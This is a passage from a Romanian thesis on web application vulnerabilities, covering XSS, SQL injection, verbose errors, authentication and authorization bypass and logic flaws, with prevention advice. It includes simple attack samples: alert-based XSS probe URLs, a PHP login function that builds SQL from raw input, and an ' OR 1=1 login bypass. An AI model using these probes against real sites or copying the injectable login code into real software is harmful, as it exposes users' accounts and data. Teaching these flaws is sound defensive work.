Introducere … … … … 3 [618318]
Cuprins
Introducere ………………………….. ………………………….. ………………………….. ……………. 3
Capitolul I: Vulnerabilități ale aplicațiilor web ………………………….. …………………… 7
1.1 Cross -Site Scripting (XSS) ………………………….. ………………………….. ………………………….. …………….. 7
1.2 SQL Injection (Injectarea de cod SQL) ………………………….. ………………………….. ………………………. 10
1.3 Mesajele de eroare prea detaliate ………………………….. ………………………….. ………………………….. ….. 13
1.4 Eludarea restricțiilor de autentificare ………………………….. ………………………….. …………………………. 14
1.5 Eludarea restricțiilor de autorizare ………………………….. ………………………….. ………………………….. … 15
1.6 Erori logice ………………………….. ………………………….. ………………………….. ………………………….. ……. 16
1.7 Diseminarea codului -sursă ………………………….. ………………………….. ………………………….. …………… 18
1.8 Software vulnerabil din partea altor producători ………………………….. ………………………….. ………….. 19
1.9 Detectarea vulnerabilităților specifice aplicațiilor web ………………………….. ………………………….. …. 20
Capitolul II: Atacurile de tipul XSS și metode pentru prevenirea acestora ………… 22
2.1 Atacul de tipul XSS (Cross -site Scripting) ………………………….. ………………………….. ………………….. 22
2.1.1 Cum funcționează Cross -site scripting -ul ………………………….. ………………………….. …………….. 23
2.1.2 Care este cel mai rău lucru pe care un atacator îl poate face cu Javascript …………………………. 24
2.1.3 XSS nu reprezintă problema clientului (utilizatorului) ………………………….. ……………………….. 24
2.1.4 Anatomia unui atac de tip XSS ………………………….. ………………………….. ………………………….. . 25
2.1.5 Exemple de atacuri XSS ………………………….. ………………………….. ………………………….. ………… 26
2.2 Tipuri de atacuri XSS ………………………….. ………………………….. ………………………….. ………………….. 28
2.2.1 Atacul XSS reflectat sau non -persistent ………………………….. ………………………….. ……………….. 28
2.2.2 Executarea atacului de tip non -persistent XSS ………………………….. ………………………….. ………. 29
2.2.3 Atacul XSS bazat pe DOM ………………………….. ………………………….. ………………………….. …….. 29
2.2.4 Diferența atacului XSS bazat pe DOM ………………………….. ………………………….. ………………… 30
2.2.5 Importanța atacului XSS bazat pe DOM ………………………….. ………………………….. ………………. 31
2.2.6 Atacul XSS bazat pe DOM este invizibil pentru server ………………………….. ………………………. 31
2.3 Metode pentru prevenirea atacurilor XSS ………………………….. ………………………….. …………………… 32
2.3.1 Contexte de procesare a datelor de intrare ………………………….. ………………………….. ……………. 32
2.3.2 Manipularea de int rare și ieșire a datelor ………………………….. ………………………….. ………………. 33
2.3.3 Cazurile în care putem utiliza o procesare securizată sigură în momentul preluării datelor de
intrare ………………………….. ………………………….. ………………………….. ………………………….. …………….. 34
2.3.4 Codarea datelor ………………………….. ………………………….. ………………………….. …………………….. 34
2.3.5 Codificarea în partea de client și codificarea în partea de server ………………………….. ………….. 35
2.3.6 Codificarea pe partea de client ………………………….. ………………………….. ………………………….. .. 35
2.3.7 Limitările codării ………………………….. ………………………….. ………………………….. ………………….. 36
2.3.8 Validarea ………………………….. ………………………….. ………………………….. ………………………….. … 36
2.4 Strategia de clasificare ………………………….. ………………………….. ………………………….. …………………. 37
2.4.1 Prin intermediul listelor negre ………………………….. ………………………….. ………………………….. … 37
2
2.4.2 Prin intermediul listelor albe ………………………….. ………………………….. ………………………….. ….. 38
2.4.3 Validarea rezultatulu i ………………………….. ………………………….. ………………………….. ……………. 38
2.4.4 Cea mai bună techinica de prevenire a atacurilor XSS ………………………….. ……………………….. 39
2.4.5 Politica de securitate de conținut (CSP – Content Security Policy) ………………………….. ………. 39
Capitolul III: Aplicație ce detectează vulnerabilități în aplicații web ……………….. 44
3.1 Prezentarea interfeței ………………………….. ………………………….. ………………………….. …………………… 44
3.2 Descriere bazei de date ………………………….. ………………………….. ………………………….. ………………… 47
3.3 Cakephp ………………………….. ………………………….. ………………………….. ………………………….. ………… 48
3.4 Skipfish ………………………….. ………………………….. ………………………….. ………………………….. …………. 59
Concluzii ………………………….. ………………………….. ………………………….. …………….. 64
Bibliografie ………………………….. ………………………….. ………………………….. …………. 65
3
Introducere
Internetul a devenit un fenomen global care a schimbat profund natura comunicării dintre
oameni și afaceri. Infrastructura Internet este o rețea de rețele care conectează calculatoare și alte
dispozitive electronice prin intermediul rețelelor de telecomunicații. Comu nicarea în Internet se
realizează conform modelului TCP/IP (Transmission Control Protocol/Internet Protocol),
organizat pe niveluri funcționale.
Exemple de tehnologii/limbaje web:
HTML (Hypertext Markup Language): folosit pentru a scrie pagini web ,
CSS ( Cascading Style Sheets): furnizează informații despre stilul paginilor web ,
PHP (PHP: Hypertext Processor): limbaj de scripturi pentru crearea de pagini dinamice
pe un server web ,
JavaScript: pentru dezvoltarea de pagini web interactive ,
XML (Extensible Markup Language): metalimbaj pentru organizarea datelor ,
Ajax (Asynchronous JavaScript și XML): tehnică pentru crearea de pagini web dinamice
și cu accesare rapidă ,
SQL (Strucured Query Language): permite interacțiunea cu baze de date .
Web 1.0 (1990 -2000) reprezintă prima fază în dezvoltarea Web.
Web 1.0 se caracterizează ca fiind un sistem interdependent, iar documentele hipertext sunt
accesate prin intermediul internetului.
Cu un browser Web, un utilizator vizualizează paginile Web care pot conține te xt, imagini
și alte tipuri de fișiere multimedia.
Navigarea între ele se realizează cu ajutorul hyperlink –urilor.
Succesul Web 1.0 a avut la bază trei principii simple:
schema de adresare simplă și uniformă pentru identificarea resurselor în Internet
(Uniform Resource Identifiers – URIs) ; cel mai utilizat format de URI este URL (Uniform
Resource Locator)
Un formalism de reprezentare simplu și uniform pentru structurarea informațiilor care
vor fi prezentate prin intermediul navigatoarelor (HyperText Markup Language – HTML)
Un protocol simplu și uniform pentru accesarea informațiilor (HyperText Transfer
Protocol – HTTP)
4
Web 2.0 (2000 -2010 ) este termenul popular pentru tehnologia Internet și aplicațiile
avansate.
Web 2.0 este frecvent asociat cu aplicații web care facilitează interactivitatea pentru
partajarea informației, interoperabilitatea, proiectarea centrată pe utilizator și colaborarea prin
World Wide Web. Site -urile Web 2.0 includ comunitățile web de tipul:
servicii de găzduire;
aplicații web;
site-uri pentru rețele sociale;
site-uri pentru partajări video;
Wiki;
blog-uri;
mashup -uri;
Folksonomies (termen, apărut în 2002, pentru a descrie o clasificare a resurselor oferite de
utilizatori).
Progresele tehnologice deosebite au fost obținute p rin:
APIs (Application Program Interfaces) pentru servicii web;
Ajax (Asynchronous Javascript și XML) – grup de tehnici intercorelate pentru dezvoltarea
aplicațiilor interactive. Prin utilizarea tehnicilor Ajax se obține o creștere în interactivitatea
sau dinamicitatea interfețelor pe paginile web. Datele sunt preluate în mod obișnuit prin
utilizarea obiectului XMLHttpRequest.
Sindicalizarea conținutului a luat amploare prin generalizarea fluxului RSS (Really Simple
Syndication) și a normelor RDF (Resourc e Description Framework)
Integrarea software -ului de natură socială, cum ar fi pentru blog -uri și wikiuri.
Caracteristicile majore ale Web 2.0 sunt:
Reduce diferența între consumatori și furnizorii de conținut;
Trecerea de la mass -media pentru persoane fizice la mass -media pentru
comunități; − Reduce diferența dintre consumatorii și furnizorii de
servicii;
Integrarea dintre personalul uman și calculatoare într -o manieră nouă și inovatoare.
5
În prezent Web are limitări în ceea ce privește:
găsirea de informații relevante – căutarea pe bază de cuvinte -cheie este limitată datorită
sinonimelor, omonimelor, ortografiei etc.;
extragerea informațiilor relevante (este dificil să se realizeze dintr -o singură
pagină web); − reprezentarea informațiilor
interpretarea informațiilor
menținerea informațiilor – respectiv, combinarea și reutilizarea.
Web -ul semantic (sau Web 3.0) este o extensie a web -ului actual în care informațiile sunt
furnizate cu sensuri bine definite, astfel încât să permită o mai bună co operare a calculatoarelor și
oamenilor.
Caracteristici:
Legături arbitrare între lucruri (de exemplu, persoane, locații, evenimente etc.)
Structurile datelor din paginile web sunt explicite
Lucrurile descrise în pagin ile web sunt denumite și au URL
Legă turile dintre lucruri sunt explicite
O vulnerabilitate este o slăbiciune care poate declanșa accidental sau intenționat o anumită
exploatare a sistemului. O sursă de amenințare: orice circumstanță sau eveniment care ar putea
produce pagube într -un sistem IT. Sursa de amenințare se poate folosi de o anumită vulnerabilitate
a sistemului. O sursă de amenințare nu poate reprezenta un risc atunci când nu există o
vulnerabilitate pe care să o poată exploata.
În general, vulnerabilitățile unei aplicații web pot f i exploatate prin:
• intrări, ieșiri
• șirurile de caractere ale unei interogări (cum ar fi,
www.nume_server.domeniu/file.php?id=309)
• parametrii unui formular (exemplu, &nume= petre &telefon=22221212)
• antetele HTTP
• cookie -uri
În capitolul I sunt prezentate t oate vulnerabilitățile aplicațiilor web: cross -site scripting
(XSS), SQL Injection, mesaje de erori mult detaliate (verbose errors), eludarea restricțiilor de
autentificare (authentication bypass), eludarea restricțiilor de autorizare (authorization bypass ),
erori logice, diseminarea codului sursă, software vulnerabi l din partea altor producători și
detectarea vulnerabilităților specifice aplicațiilor web.
În capitolul al II -lea sunt prezentate atacurile de tipul XSS și metode pentru prevenirea
acestora. Cr oss Site Scripting (prescurtat XSS) este o vulnerabilitate web ce permite
6
utilizatorului/atacatorului să introducă un cod personal într -o pagină web. XSS permite atacatorilor
să execute script -uri în browser -ul victimei. Cu ajutorul scripturilor se pot det urna sesiuni de
utilizator, șterge site -uri web, redirecționa utilizatorul spre site -uri malițioase sau fura diferite
informații utile despre utilizatori.
În capitolul al III -lea este prezentată aplicația ce detectează vulnerabilități în aplicații web,
creată în CakePHP utilizând utilitarul Skipfish.
7
Capitolul I: Vulnerabilități ale aplicațiilor web
Pe parcursul ultimilor ani, aplicațiile web au avut parte de o dezvoltare uimitoare, o dată
cu intrarea în era Web 2.0 și trecerea la Web 3.0. Acest fenomen a fost sprijinit de inovațiile
tehnologice din domeniu, prin care paginile web în care erau afișate mai înainte informații statice
au devenit pagini dinamice, interactive ce permit un nivel de interacțiune ridicat al utilizatorul ui
cu aplicația web.
Dezvoltarea explozivă a creat de asemenea premisa apariției vulnerabilităților specifice
domeniului web, iar numărul acestora este în continuă creștere deși cele mai populare atacuri au
la bază tot vulnerabilități identificate pentru prima dată cu ani în urmă.
Principalele tipuri de atacuri web raportate de owasp.org:
Cross -site Scripting (XSS)
SQL Injection
Mesaje de erori mult detaliate (verbose errors)
Eludarea restricțiilor de autentificare (authentication bypass)
Eludarea restric țiilor de autorizare (authorization bypass)
Erori Logice
Diseminarea codului sursă
Software vulnerabil din partea altor producători
Detectarea vulnerabilităților specifice aplicațiilor web
1.1 Cross -Site Scripting (XSS)
Această metodă folosită de către atacatori reprezintă o tehnică de forțare asupra paginii
web de a afișa un cod malițios (de regulă scris în limbaj HTML, JavaScript, Flash sau ActiveX) și
de a-l executa ulterior în browser -ul utilizatorului. Ținta atacului nu este serverul site -ului web, ci
acesta are rolul de gazdă pentru codul malițios, adevărata țintă a atacului fiind utilizatorul
aplicației. Atacatorul folosește site -ul pentru transmiterea codului malware care, odată executat în
browserul utilizatorului, îi va permite să fure diverse date: conturi, date, conturi bancare,
înregistrări din istoricul browser -ului etc.
8
Modalitățile prin care un cod malițios poate deveni rezident într -o pagină web sunt
următoarele:
Este încărcat în mod intenționat de către propietarul paginii web;
Este i njectat de către un atacator în secțiunea publică a unui site profitând de anumite
vulnerabilități ale acesteia;
Pagină web poate primi un deface printr -o vulnerabilitate a rețelei sau a straturilor
sistemului de operare, iar o parte din codul introdus să fie malițios;
Victima poate accesa un link special pregătit (transmis pe mail, rețele de socializare sau
alte metode) care să conțină codul malițios;
Fig. 1.1 Schema unui atac xss
Atacurile XSS se împart în mai multe categorii:
Atacul de tip non -persis tent – atacatorul caută să găsească o vulnerabilitate pentru XSS,
testând diverși parametri de unde utilizatorul poate trimite mesaje la server și la care
primește mesaje înapoi (de obicei un câmp de căutare). De exemplu, la introducerea pe
Google a parame trului de căutare “atac XSS”, browser -ul va întoarce un URL cu un șir de
interogare care să fie de forma “https://www.google.ro/?gws_rd=ssl#q=atac+xss”, unde
ultima parte a URL -ului reprezintă valoarea parametrului de căutare. Această valoare poate
fi schi mbată dacă introducem următoarea sintaxă JavaScript: “><script>alert
(‘XSS%20Test’)”. Dacă pagina este vulnerabilă, prin această modifcare a URL -ului, va
9
afișa o fereastră de dialog inofensivă (după instrucțiunea de cod care este acum parte din
pagină). As tfel, atacatorul descoperă o vulnerabilitate care poate fi ulterior folosită pentru
a realiza atacuri XSS mai complexe (ex: furtul de cookie -uri).
Atacul bazat pe DOM – această formă de atac XSS este unică, foarte similară cu cea a
atacului non -persistent , dar care nu necesită trimiterea unui mesaj și așteptarea unui
răspuns din partea site -ului. Spre exemplu, următorul URL
http://victim/promo?product_id=100&title=Foo#<script>alert (‘XSS%20Testing’)
</script> aparține unui site de comerț electronic care ad uce datele din baza de date printr –
un parametru (product_id) și a fost modificat prin adăugarea de cod malițios la finalul său.
Dacă site -ul prezintă vulerabilitate XSS, JavaScript -ul de pe partea clientului va avea
încredere suficientă în datele conținute de URL și va afișa rezultatul pe ecran. Diferența
dintre cele două atacuri este aceea că nu se trimite codul către serverul web ci fragmentul
inserat în URL îi spune browser -ului în ce punct al documentului curent să sară (rămâne în
cadrul DOM).
Atacul d e tip persistent – cunoscut și sub numele de injecție cu cod HTML, acest atac nu
necesită link -uri speciale pentru execuție, ci atacatorul trebuie doar să adauge codul XSS
într-o parte a paginii web care are potențial mare de vizitare din partea utilizator ilor (ex:
comentarii pe bloguri, chat -uri, postări pe forum -uri). Din momentul în care utilizatorul a
vizitat pagina infectată, codul se execută automat și din această cauză este mult mai
periculos decât celelalte tipuri de atac XSS, utilizatorul nemaiavân d cale să se apere
împotriva execuției ce a avut loc.
Metodele de prevenire a atacurilor XSS sunt:
1. Filtrarea – poate produce rezultate neașteptate dacă nu se monitorizează atent datele
de ieșire. Fără folosirea altor metode, filtrarea poate induce noi ris curi prin crearea unor
noi tipuri de atac, de aceea filtrele aplicate trebuie puse într -o anumită ordine și modul
în care interacționează între ele trebuie cunoscut.
2. Codarea și validarea datelor de intrare – se crează un singur punct de intrare a
datelor pentru toate codările și este eficientă nu doar împotriva XSS, dar și a injecțiilor
SQL, care sunt verificate înainte de stocarea informațiilor în baza de date, însă nu poate
opri atacurile persistente XSS odată ce au fost stocate.
10
3. Codarea datelor de i eșire
4. Securitatea browser -ului web – evitarea URL -urilor prea lungi sau complexe,
neaccesarea URL -urilor necunoscute primite prin e -mail, alegerea unui browser sigur,
actualizat la zi, cu setări de securitate.
1.2 SQL Injection (Injectarea de cod SQL)
Cea mai mare parte a aplicațiilor web existente în prezent folosesc baze de date pentru a
stoca datele necesare. SQL reprezintă un standard internațional pentru regulile și sintaxa
comenzilor ce pot fi transmise unui sistem de gestiune a bazelor de date (S GBD), pentru
prelucrarea datelor stocate. Printre cele mai populare SGBD -uri la ora actuală se numără MySQL,
PostgreSQL, Microsoft SQL Server, Oracle.
Un atac de tip SQL Injection apare în momentul în care un atacator are posibilitatea de a
introduce ori ce fel de date într -o interogare SQL folosită pentru accesarea bazei de date sau atunci
când se poate introduce (injecta) în locul datelor o sintaxă prin care logica declarației să fie
modificată astfel încât să execute o acțiune diferită decât cea pentru care fusese destinată. Acest
tip de atac poate avea consecințe grave, de la aflarea datelor cu caracter personal până la ștergerea
întregii baze de date din spatele aplicației și, în ciuda pericolului pe care îl reprezintă, este cea mai
frecvent întâlnită vulnerabilitate în rândul aplicațiilor web.
SQL Injection este un atac de bază folosit fie pentru obținerea accesului neautorizat la o
bază de date, fie pentru extragerea informațiilor direct din baza de date. Principiile care stau la
baza SQL Injection sunt simple și aceste tipuri de atac sunt ușor de executat și stăpânit.
Orice program sau aplicație pot fi vulnerabile la SQL Injection, inclusiv procedurile stocate
executate în mod direct printr -o conexiune la o bază de date, aplicații în Oracle Forms, aplicații
web, etc. Numeroase vulnerabilități au fost descoperite în pachetele standard Oracle Database cum
ar fi DBMS_DATAPUMP, DBMS_REGISTRY și DBMS_METADATA.
Aplicațiile web prezintă cel mai mare risc al acestor atacuri de vreme ce un atacator poate
exploata vulnerabilitățile la SQL Injection de la distanță fără autentificare la nivel de bază de date
sau la nivel de aplicație.
11
Din fericire, atacurile SQL Injection sunt ușor de combătut prin anumite procedee de
codare. Cu toate acestea, orice parametru transmis oricărui enunț SQL dinamic trebuie validat, sau
trebuie folosite variabile legate.
Fig. 1.2 Exemplu SQL Injection
Următorul exemplu, prezentat în exemplul de mai jos, prezintă codul unei funcții de
autentificare care cere ca parametri numele ș i parola utilizatorului ce dorește să se logheze într -o
aplicație. Deoarece datele de intrare pe care utilizatorul le va furniza (numele, respectiv parola să)
nu sunt validate, adică nu se verifică dacă într -adevăr s -a introdus un nume și o parolă valide d e
utilizator, apare posibilitatea inserării de cod SQL. Prin introducerea sintaxei de “Petre’ OR 1=1”
în câmpul destinat numelui utilizatorului, atacatorul modifică complet sensul interogării SQL care
va ocoli mecanismul de autentificare prin care se verif ică parola și atacatorul se va loga pe contul
„Petre” deși nu a introdus nicio parolă, condiția 1=1 fiind întotdeauna adevărată.
Prototipul funcției ce interoghează baza de date:
<? Php
Function autentificare ($ușer, $parola)
{
$sql=” SELECT * FROM users WHERE ușer_name=’$user’ and password =’$parola’”;
Return mysql_query ($sql);
12
…
}
?>
Datele introduse de atacator pentru parametrul destinat numelui de utilizator Petre’ OR
1=1.
Transformarea care are loc asupra interogării SQL după introducerea datelor $sql=”
SELECT * FROM users WHERE username=’Mihai’ OR 1=1”;
Cea mai bună modalitate de apărare împotriva atacurilor de tip SQL Injection este cea de
a implementa funcții puternice de validare a datelor de intrare, înaintea executării interogării
asupra ba zei de date, astfel încât un utilizator rău voitor să nu poată introduce alte date decât cele
necesare aplicației. Măsurile specifice care pot fi implementate în acest scop sunt următoarele:
Folosirea variabilelor bine definite și de definiții ale coloanel or bazei de date – stocarea și
manipularea numerelor ca și numere întregi sau alte tipuri de numerice potrivite, limitarea
conținutului șirurilor de caractere doar la caractere alfanumerice și respingerea semnelor
de punctuație sau a caracterelor specifice sintaxei SQL (‘, $, =, <, > etc.).
Atribuirea rezultatelor obținute în urma interogării unei variabile bine definite – spre
exemplu, dacă aplicația cere o valoare numerică din baza de date, aceasta trebuie atribuită
unei variabile de tip numeric, lucru c are va împiedica atacatorii să extragă informații din
baza de date (dacă variabilă ce urmează a fi afișată în browser nu acceptă decât numere
întregi, atunci obținerea și afișarea unui nume sau a unei date calendaristice sau a oricărui
alt tip de date nu v a fi posibilă).
Limitarea lungimii datelor – Șirurile de caractere ar trebui ideal limitate la o lungime
potrivită scopului lor. Spre exemplu, un nume de utilizator nu ar trebui stocat într -un șir
care are lungimea de 200 de caractere. Limitarea numărului de caractere poate împiedica
eficient succesul unei injecții SQL, deoarece reduce lungimea șirului de caractere pe care
atacatorul îl poate injecta în cod.
Evitarea concatenării șirului de caractere în interogări – concatenarea șirurilor de caractere,
unde interogarea este formată direct din datele furnizate de utilizatori (ex: “SELECT *
from nume_tabel WHERE” + variabilă_sir, unde variabilă_sir este un șir de caractere dat
de utilizator) are cea mai mare rată de succes la atacurile SQL Injection. De acee a, se
recomandă folosirea unei funcții view sau proceduri care să opereze asupra variabilelor
13
furnizate și care să genereze o eroare la introducerea unor date incorecte, astfel încât să nu
permită atacatorului să manipuleze întreaga interogare.
Aplicarea separării datelor și accesul pe bază de roluri în interiorul bazei de date – o
aplicație web ar trebui să folosească un cont care are privilegii de acces doar pentru tabelele
necesare funcțiilor atribuite utilizatorului respectiv. Tabelele interne ale baze i de date, mai
ales cele legate de managementul conturilor și variabilele sistemului nu ar trebui să fie
accesibile utilizatorilor obișnuiți ai aplicației.
1.3 Mesajele de eroare prea detaliate
Această vulnerabilitate nu reprezintă un tip de atac în sine . Mesajele de eroare cu scop
informativ pot conține adrese complete, descrieri, erori legate de accesul la baza de date, nume de
fișiere, mediul în care rulează. Un exemplu concret îl reprezintă formularul tipic de autentificare
la o aplicație, prin care s e cere utilizatorului numele de cont și parola. Dacă procesul de
autentificare nu reușește, aplicația întoarce un mesaj informativ prin care utilizatorul este anunțat
că informațiile introduse nu au fost corecte. Însă uneori aplicația te atenționează care dintre
câmpuri a fost cel greșit (ex: „parola introdusă” este incorectă). Acest lucru oferă informația că în
baza de date există într -adevăr un cont cu numele de utilizator introdus, iar astfel un atacator poate
folosi o metodă automată de atac care să par curgă un set mare de parole, fără a trebui să ghicească
și numele utilizatorului. Un răspuns corect dat de aplicație la nereușirea logării ar putea fi de formă
(“Numele de utilizator sau parola au fost introduse eronat”) care este mai ambiguu, iar atacator ului
nu i se oferă o informație concretă.
Fig. 1.3 Exemplu de mesaje de eroare mult prea detaliate
14
Pentru prevenirea atacurilor bazate pe mesajele de erori se recomandă:
Utilizarea validării pe partea clientului doar pentru performanță, nu și pentru secu ritate,
pentru prevenirea erorilor de introducere și de tipar neintenționate care să ajungă la server.
Astfel se reduce solicitarea serverului, împiedicând datele introduce greșit în mod
neintenționat să ajungă la acesta.
Normalizarea datelor de intrare, v erificarea de securitate și validare astfel încât o bucată de
cod introdusă malițios să treacă prin mai multe filtre și să fie decodată și descoperită că
fiind malițioasă doar mai târziu.
Aplicarea validării pe partea serverului, unde evitarea funcțiilor d e validare nu este
posibilă.
Constrângerea tipurilor de date care pot fi introduse, prin cererea unui anumit tip, format
și lungime.
Folosirea codării securizate a caracterelor și validarea datelor de ieșire, pentru a evita
aplicația să le interpreteze înt r-un mod eronat.
Folosirea cu grijă a mesajelor de eroare, astfel încât acestea să nu dezvăluie nicio informație
esențială despre sistem.
Solicitarea autentificării pentru anumite funcționalități ale aplicației.
1.4 Eludarea restricțiilor de autentificare
Prin procesul de autentificare se verifică, într -o oarecare măsură, identitatea unei persoane
sau entități. Prin intermediul certificatelor SSL (Secure Socket Layer) folosit de către paginile
web, se validează faptul că datele transmise de către site pro vin într -adevăr de la acesta și că
domeniul respectiv nu este o copie. Pentru spargerea unui sistem de autentificare există două
posibilități puse la dispoziția atacatorului: evitarea verificării autentificării sau utilizarea unei
parole furate. Pe durata de timp în care un utilizator este autentificat la aplicația web, aceasta îi
atribuie un token unic de sesiune (de regulă sub forma unui cookie) pentru că activitatea sa să fie
monitorizată. Din momentul autentificării, utilizatorul este identificat doar p rin intermediul
cookie -ului de sesiune atribuit. Prin urmare, dacă un atacator reușește să compromită cookie -ul,
ghicind valoarea șa sau furându -l, atunci va trece ușor de mecanismul de autentificare a paginii
web, asumându -și identitatea victimei.
Cookie -urile de sesiune pot fi compromise prin mai multe metode:
15
1. Atacuri XSS – dacă nu se setează atributul HttpOnly al aplicației web, folosind JavaScript
se poate accesa obiectul document. Cookie, iar conținutul acestuia poate fi trimis unui site
de unde atacat orul poate obține credențialele necesare.
2. Cross -site request forgery – este necesar ca victima să fie deja autentificată pe site -ul țintă.
Atacatorul exploatează în mod indirect sesiunea utilizatorului autentificat, plasând o pagină
capcană pe alt site, i ar în momentul în care victima vizitează pagina infectată, browser -ul
va efectua o cerere automată către pagina țintă, folosind cookie -ul de sesiune al victimei.
3. SQL Injection – acest lucru este posibil în cazul în care cookie -urile de sesiune sunt stocat e
în baza de date, în loc să fie stocate într -un sistem de fișiere sau spațiu de stocare al
serverului web.
Network sniffing – majoritatea aplicațiilor web folosesc HTTPS pentru confidențialitatea și
integritatea comunicației dintre server și browser -ul web, însă cea mai mare parte din ele
folosesc HTTP pentru restul paginilor, expunând cookie -ul de sesiune, în special prin rețelele
wireless din locurile publice.
1.5 Eludarea restricțiilor de autorizare
Aceste vulnerabilități se referă la scenariul în ca re atacatorul are acces la o resursă la care,
în mod normal, ar avea acces doar utilizatori autentificați sau care dețin anumite roluri sau
privilegii în aplicația respectivă. Cele mai folosite metode de eludare a restricțiilor de autorizare
sunt: traversa rea de directoare, evitarea mecanismelor de autorizare și escaladarea privilegiilor.
Fig. 1.4 Exemplu pentru Eludarea restricțiilor de autorizare
16
Serverele restricționează utilizatorii la accesul diferitelor resurse, a căror localizare depinde
de sistem ul de operare instalat pe server, în funcție de permisiuni de citire, scriere, execuție
atribuite utilizatorilor respectivi asupra fișierelor de pe server. Deoarece, de regulă, majoritatea
aplicațiilor web folosesc roluri (administrator, ușer autentificat/ neautentificat) care au diferite
niveluri de acces, un atacator poate reuși să acceseze o resursă restricționată permisiunilor sale de
acces, prin schimbarea rolului său într -unul superior.
Cele mai simple modalități de protecție asupra acestor vulnerabili tăți sunt validarea datelor
introduse de utilizatori și urmărirea metodelor de proiectare sigură. Orice parte a aplicației web
care poate fi folosită într -un eventual atac informatic trebuie identificată din timp. Aceste
componente nu fac referire doar la câmpurile prin care utilizatorul poate introduce date, dar și
oricare altă valoare ce poate fi modificată și trimisă prin intermediul unui proxy (câmpuri ascunse,
date din cookie). Validarea corespunzătoare a acestor date scad șansele unui atac reușit cu s ucces.
De asemenea, cu cât utilizatorul are mai puține privilegii, cu atât șansele de a duce până la capăt
un atac asupra aplicației scad.
1.6 Erori logice
Erorile logice sunt erori de programare care pot apărea în momentul în care la dezvoltarea
aplicaț iei lucrează un număr mare de programatori și dezvoltatori diferiți. Toate aplicațiile web
folosesc o logică anume de funcționalitate. Acestea sunt descompuse în pași mici, simpli, pentru
a aduce funcționalitățile necesare aplicației la nivelul la care pot fi executate de către un dispozitiv.
Chiar și în cazul aplicațiilor web simple, dezvoltarea lor presupune o cantitate mare de logică,
pentru fiecare etapă de proiectare. Deși sunt trecute de multe ori cu vederea, erorile logice oferă o
bază foarte variată de atac. Din nefericire, nu pot fi decât în cazuri rare scanate cu ajutorul unor
programe specializate de identificare a vulnerabilităților și nu prezintă o semnătură specializată ca
în cazul altor vulnerabilități, ceea ce le face mult mai greu de cunoscu t și caracterizat. Deoarece
nu sunt apreciate ca și vulerabilități grave, erorile logice prezintă un interes foarte mare din partea
atacatorilor.
O eroare logică apare în momentul în care programatorul aplicației nu ia în considerare
toate efectele posibil e ale codului asupra aplicației. Se iau în considerare doar efectele care se
intențioează să fie implementate, neluând în seamă sau făcând omitere de alte efecte secundare,
posibile. Defectele de ordin logic sunt greu de explicat, definit și învățat prin t eorie, ele fiind
variate de la o aplicație la alta. Sunt descoperite de regulă de către atacatori după familiarizarea cu
aplicația respectivă și după testarea comportamentului său în diverse situații. Totuși, pentru a se
17
înțelege mai bine importanța deoseb ită pe care o pot avea aceste erori logice, vor fi prezentate în
continuare două exemple concrete prin care s -a făcut exploatarea acestora.
Un prim exemplu este ocolirea funcției pentru schimbarea parolei, o eroare de logică ce a
fost găsită într -o aplicaț ie web utilizată de o societate de servicii financiare. Aceasta avea
implementată o funcție de shimbare a parolei de către utilizatori în care era necesară completarea
câmpurilor: nume utilizator, parolă actuală, noua parolă și confirmarea noii parolei. De asemenea,
o altă funcție din cadrul aplicației permitea schimbarea parolei de către administratori, prin care
aceștia puteau schimba parola oricărui utilizator fără a fi nevoiți să introducă vechea parolă a
acestuia. Aceste două funcții au fost puse în ca drul aceluiași script pe partea serverului. Interfețele
afișate clienților și administratorilor difereau prin faptul că cea afișată unui administrator nu avea
câmpul de introducere a vechii parole. Presupunerea făcută, din care a provenit ulterior eroarea
logică a fost aceea că un utilizator obișnuit va introduce întotdeauna vechea parolă pentru
modficarea acesteia. Prin urmare, în momentul în care serverul procesa o schimbare de parolă, el
verifica dacă aceasta a fost cerută de un client sau de un administ rator verificând prezența sau
absența vechii parole. Dacă câmpul pentru vechea parolă era gol, atunci serverul presupunea că un
administrator a făcut cererea. Din acest moment, eroarea logică devine evidentă, deoarece
utilizatorii controlează fiecare aspec t al cererilor pe care le emit. Prin urmare, ei pot alege dacă să
completeze sau nu câmpul pentru vechea parolă. În acest caz, defectul logic s -a dovedit devastator,
fiecare atacator având oportunitatea să reseteze cu ușurință parola oricărui alt utilizato r și să preia
controlul asupra contului acestuia, o dată ce acest mecanism de procesare a cererii îi devenea
cunoscut.
Un alt exemplu de defect logic, descoperit într -un centru de telefonie, făcea referire la
ștergerea intrărilor din audit. Aplicația avea diverse funcții care permiteau gestionarea unei baze
de date de dimensiuni mari. Multe din acestea se refereau la informații securizate, printre care și
crearea de conturi și schimbarea de parole, iar din această cauză se menținea o gestiune completă
de au dit, unde fiecare acțiune efectuată era înregistrată, împreună cu identitatea utilizatorului
responsabil de acea acțiune. De asemenea era inclusă și o funcție prin care li se permitea
administratorilor să șteargă anumite intrări din audit, acțiune care la rândul ei era înregistrată,
pentru evitarea exploatării în scopuri rău -voitoare. Dezvoltatorii aplicației au plecat de la
presupunerea că nicio ștergere a vreunei înregistrări din audit nu se poate realiza fără a lăsa măcar
o urmă (prin testările lor, rămâ nând de fiecare dată ultima înregistrare a persoanei care a șters
datele). Această presupunere a fost greșită, deoarece atacatorii au descoperit o modalitate de a
produce modificări asupra datelor și a șterge urmele în întregime, parcurgând următorii pași:
autentificarea cu propriul cont și crearea unui nou cont de utilizator, atribuirea tuturor privilegiilor
noului cont, utilizarea noului cont pentru a duce la îndeplinire atacul, apoi utilizarea unui nou cont
18
pentru a șterge toate înregistrările generate d e primii trei pași. În acest fel, deși fiecare din acțiuni
genera înregistrări în jurnalul de audit, în ultima fază, contul nou creat ștergea toate datele legate
de intrările și acțiunile precedente. Astfel, în audit rămânea doar intrarea că cel de -al doil ea nou
cont a șters toate datele. Deoarece al doilea cont era creat de primul cont nou creat, iar înregistrările
legate de cine a creat primul cont erau șterse, nu mai exista practic nicio informație valabilă care
să poată face legătura între identitatea p ersoanei care a dus la capăt atacul și contul inițial al
persoanei care a pornit atacul.
O serie de practici care pot ajuta în reducerea erorilor logice, este următoarea:
Documentarea tuturor aspectelor legate de design -ul aplicației pentru a putea fi înț elese
ușor de cineva din exterior.
Punerea accentului pe modul în care ar putea influența utilizatorii aplicația, în timpul
recenziilor de securitate referitoare la cod.
Punerea accentului pe modul de comportare a aplicației în momentul în care sunt introd use
date eronate și efectele produse asupra dependențelor dintre componentele diverse ale
codului.
Introducerea de comentarii în codul sursă care să includă informații legate de: scopul și
funcționalitatea fiecărei porțiuni de cod, presupunerile făcute de fiecare componentă în
legătură cu elementele care nu se află direct sub controlul ei, adăugarea de comentarii care
